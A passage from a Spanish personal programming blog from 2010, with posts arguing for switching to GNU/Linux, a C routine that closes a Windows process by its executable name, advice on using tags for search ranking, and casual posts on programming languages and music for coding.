Hay muchas páginas que te indican cuantas particiones debes hacer, la partición de intercambio(Swap), pero bueno eso ya sería otro tema.

Otro miedo es el pensar que no vas a poder usar programas como la Suite de Office, o el programa de mensajería instantánea Windows Live Messenger, eso es un error pues casi todas las distribuciones normales, como Ubuntu, Kubuntu, Debian, Suse, SlackWare. Tienen programas que hacen la misma función sin tener que pagar ni tener que buscarte la vida con seriales y cracks todo libre.

Si, también existen programas para Linux que son de pago, pero eso ya son programas específicos para una tarea muy concreta; un usuario de nivel medio no los va a tener que usar.

Otro miedo es, como me adaptaré, a mi nuevo sistema, esto no conlleva ningún problema que sea un sistema diferente no significa que sea abstracto y complejo de hecho cada vez hacen las distribuciones más claras y transparentes para usuarios nuevos. Aparte de que cualquier distribución tiene su servicio de ayuda y foros donde puedes preguntar.

Encima podrás ver todos los archivos de Windows desde tu GNU/Linux, y no al revés, pues Linux soporta muchos más sistemas de ficheros que Windows.

No voy a perder el tiempo poniendote muchas más ventajas pues podría tirarme 3 horas, solo con los innumerables bugs y virus que tienen las versiones de Windows.
Es más rápido, más configurable, la interfaz es más bonita, tienes unos repositorios llenos de programas para que te los bajes gratis, etc,etc,etc...

¿Ya te he convencido?

Espero que sí, pues en ese caso ya solo te queda seguir un paso, elegir tu distribución:

Distro Chooser

En esa página respondes un test de 1 minuto y te elige la distribución que necesitas, e imprime la URL para que te puedas bajar la ISO.

Espero que te haya convencido.

22 oct 2010

Cerrar proceso sin necesidad de PID

Código con el podemos cerrar un proceso sin tener que preocuparnos por saber el PID del proceso que deseamos cerrar.



#include <windows.h>
#include <winbase.h>
#include <tlhelp32.h>
#include <ctype.h>
#include <string.h>

//P4|3L0


int matarproceso(const char *szToTerminate)
{

    BOOL endtask = false;
    BOOL bResult,bResultm;
    DWORD aiPID[1000],iCb=1000,iNumProc,iV2000=0;
    DWORD iCbneeded,i;
    char szName[MAX_PATH],szToTermUpper[MAX_PATH];
    HANDLE hProc,hSnapShot,hSnapShotm;
    HINSTANCE hInstLib;
    int iLen,iLenP,indx;
    HMODULE hMod;
    PROCESSENTRY32 procentry;      
    MODULEENTRY32 modentry;
    iLenP=strlen(szToTerminate);
    for(indx=0;indx<iLenP;indx++)
    szToTermUpper[indx]=toupper(szToTerminate[indx]);
    szToTermUpper[iLenP]=0;
    BOOL (WINAPI *lpfEnumProcesses)( DWORD *, DWORD cb, DWORD * );
    BOOL (WINAPI *lpfEnumProcessModules)( HANDLE, HMODULE *,DWORD, LPDWORD );
    DWORD (WINAPI *lpfGetModuleBaseName)( HANDLE, HMODULE,LPTSTR, DWORD );
    HANDLE (WINAPI *lpfCreateToolhelp32Snapshot)(DWORD,DWORD);
    BOOL (WINAPI *lpfProcess32First)(HANDLE,LPPROCESSENTRY32);
    BOOL (WINAPI *lpfProcess32Next)(HANDLE,LPPROCESSENTRY32);
    BOOL (WINAPI *lpfModule32First)(HANDLE,LPMODULEENTRY32);
    BOOL (WINAPI *lpfModule32Next)(HANDLE,LPMODULEENTRY32);
    hInstLib = LoadLibraryA("PSAPI.DLL");
    lpfEnumProcesses = (BOOL(WINAPI *)(DWORD *,DWORD,DWORD*))GetProcAddress( hInstLib, "EnumProcesses" );
    lpfEnumProcessModules = (BOOL(WINAPI *)(HANDLE, HMODULE *,DWORD, LPDWORD)) GetProcAddress( hInstLib,"EnumProcessModules" );
    lpfGetModuleBaseName =(DWORD (WINAPI *)(HANDLE, HMODULE, LPTSTR, DWORD )) GetProcAddress( hInstLib,"GetModuleBaseNameA" );
    bResult=lpfEnumProcesses(aiPID,iCb,&iCbneeded);
    iNumProc=iCbneeded/sizeof(DWORD);
    for(i=0;i<iNumProc;i++){
    strcpy(szName,"¿?");
    hProc=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,aiPID[i]);
    if(hProc){
    if(lpfEnumProcessModules(hProc,&hMod,sizeof(hMod),&iCbneeded) ){
    iLen=lpfGetModuleBaseName(hProc,hMod,szName,MAX_PATH);}}
    CloseHandle(hProc);
    #ifdef BORLANDC
                if(strcmp(strupr(szName),szToTermUpper)==0)
    #else
                if(strcmp(_strupr(szName),szToTermUpper)==0)
    #endif

                {hProc=OpenProcess(PROCESS_TERMINATE,FALSE,aiPID[i]);
    if(hProc)
    {
        (TerminateProcess(hProc,1));
        endtask = true;
    }
    }
    }
    if(endtask) return(1);
    return(0);
}
int main(void)
{
matarproceso("notepad.exe");
return 0;
}

Importancia de los tags

Primero de todo, ¿ qué son los tags?

Tag o etiqueta, son las palabras claves que permiten describir un articulo, foto, archivo, etc..

Ahora aclararé por las dos razones por las cuales pienso que todos debemos usar y tenerlas muy en cuenta, la primera es el posicionamiento en Google, pues Google busca entre las etiquetas y todos queremos tener nuestra web bien posicionada, para que más usuarios puedan leernos; y la segunda es que los propios visitantes pueden saber perfectamente lo que van a leer con solo leer unas palabras. Eso sí el exceso no es bueno, pues desorienta al usuario.

Mi opinión respecto a esto es que lo mejor es poner entre 5 y 10 etiquetas y que realmente sean las palabras que tu buscarías en tu buscador para encontrar el artículo que vas a publicar.

Ejemplo: importancia tag etiquetas posicionamiento

20 oct 2010

Me presento

Aunque ya os voy dejando claro la temática del foro, y esto lo escriba sin tener aún ningún visitante.

Si, es otro de los 397.671.472 de blogs relacionados con la informática, tecnologías, etc..

Escuchando un poco de música de la mía



Y a expensas de un examen, os escribo para identificarme un adepto a la programación en casi todos sus lenguajes, pues he variado desde ensamblador y C hasta Object Pascal(Delphi) y Visual Basic 6. De los cuales no me arrepiento de haber empezado en absoluto.

Os iré poniendo programas códigos y demás programas interesantes.

Top Lenguajes Programación



Asi que ya sabeis, elegid los lenguajes que esten en auge.





Fuente: tiobe.com

La mejor música para programar

Al revés que lo que muchos piensan programar en silencio, no es lo más recomendable para programar de hecho  en mi opinión puede causarte desviación de atención, pensamientos externos, lo mejor es tener un sonido envolvente de fondo que te concentre aún más en tus conocimientos, en lo que quieres lograr hacer y sobre todo en lo que estás haciendo, no es nada recomendable por supuesto estar escuchando dos tipos de música.

Bueno supongo que muchos ya querreis saber si lo que escuchais es lo que realmente motiva y concentra cuando estamos creando nuestras obras de arte.


Esto esta sacado de una encuesta y dividimos la música en:

Estimulante: rock, metal, punk, hip-hop, house, techno, ska, trova, reggae, reggeaton, dance, drum and bass, …

Relajante: silencio, jazz, chill out, clásica, trip-hop, ambient, lounge, …



Y dentro de esta división veamos el tipo de música preferido.






Las opiniones son vuestras y esto no es una regla ni nada estipulado, así que si no estais de acuerdo o pensais de otro modo podeis comentarlo.


Fuente: Encuesta

Empezando..

Animado por ver la película TSN, me he dispuesto a comencer a redactar un blog que aunque no creo que sea tan conocido como MZ ni tengo su dinero, creo que es interesante plasmar en algún sitio, recuerdos momentos, etc...

Aún sabiendo que yo ya tenía un blog, demasiado joven para seguir manteniendolo.

Saludos Darax
Arriba